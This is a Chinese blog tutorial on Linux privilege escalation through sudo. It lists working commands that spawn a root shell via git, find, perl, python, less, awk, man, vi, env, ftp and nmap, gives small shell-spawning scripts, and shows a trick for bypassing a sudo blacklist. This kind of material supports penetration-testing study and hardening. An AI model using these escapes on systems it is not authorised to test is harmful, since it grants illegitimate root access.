Linux提权之sudo

前言

先说说sudo和su的区别:

sudo是以root的身份去运行一个命令,su则是切换用户。

sudo只需知道自己的密码即可,而su则是要知道被切换用户的密码。

然后还要了解一下sudo的配置文件,/etc/sudoers是sudo权限的配置文件。当用户运行sudo命令时,linux系统就会从这个文件里面查找当前用户,再根据当前用户的权限来判读是否可以执行当前命令。

例如给aaa用户配置root权限,照着root的格式来添加就行,ALL表示可以使用所有的命令

当权限过大时,可以直接输入命令切换root用户,

sudo su 或者 sudo bash

git

当sudo运行执行git命令时,可以利用进行提权

sudo git help config
!/bin/bash
或者
sudo git -p help
!/bin/bash

find

当find具有sudo权限也可以提权

sudo find a.txt -exec "/bin/sh" -p \;

perl

输入命令,再输入当前账户密码即可

sudo perl -e 'exec "/bin/bash";'

python

pty库是一个伪终端库,它的spawn会调用指定的程序

sudo  python3 -c 'import pty;pty.spawn("/bin/bash")'

less

这个比较简单

sudo less /etc/hosts

再在底部输入!bash即可

awk

通过调用linux的system函数来打开bash

sudo awk 'BEGIN {system("/bin/bash")}'

man

通过命令打开man使用手册,同时会进入编辑行,输入!bash回车即可

sudo man man

vi

sudo vi会进入vi默认页,输入:!bash回车即可

脚本

如果某个脚本具有sudo权限,那我们可以把反弹shell的命令添加进去,然后再sudo执行脚本即可

这里说一下三种脚本命令反弹shell

#include<stdio.h>        //这是c的
#include<unistd.h>
#include<sys/types.h>
 
int main()
{
	setuid(geteuid());
	system("/bin/bash");
	return 0;
}


#! /bin/bash         //这是.sh的
/bin/bash


#! /usr/bin/python  //这是py的
import os
os.system("/bin/bash")

然后演示一下.sh脚本,直接sudo运行就行了

env

除了上面的二进制文件,一些程序也可以提权

sudo env /bin/bash

ftp

输入sudo ftp再输入!/bin/bash就可以了

黑名单

如果sudo权限配置在ALL的基础上添加了黑名单,也就是禁用了某些命令,例如在ALL的基础上禁用find命令

此时我们可以把运行find命令的文件复制一份到桌面上,然后我们sudo运行桌面的find文件不就行了吗。因为它禁用的是/usr/bin/find目录下的find文件,这里我复制到home目录下

cp /usr/bin/find find 

然后和前面find提权一样,不过这里要表名执行的find命令是我们刚刚复制到home的路径,否则默认执行/usr/bin/find

sudo /home/find a.txt  -exec "/bin/sh" -p \;

nmap

nmap也可以提权,哈哈哈没想到吧。

低版本的nmap

nmap --interactive      //即可得到交互式shell
nmap>
之后输入!sh

新版本的nmap

echo 'os.execute("/bin/sh")' > getshell.nse
#nse是nmap的插件扩展名
nmap --script=/home/jens/getshell.nse

总结

总的来说sudo提权和suid提权差不多,以上是常见的sudo提权的总结,后续会持续跟新。

最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。

  • 8
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值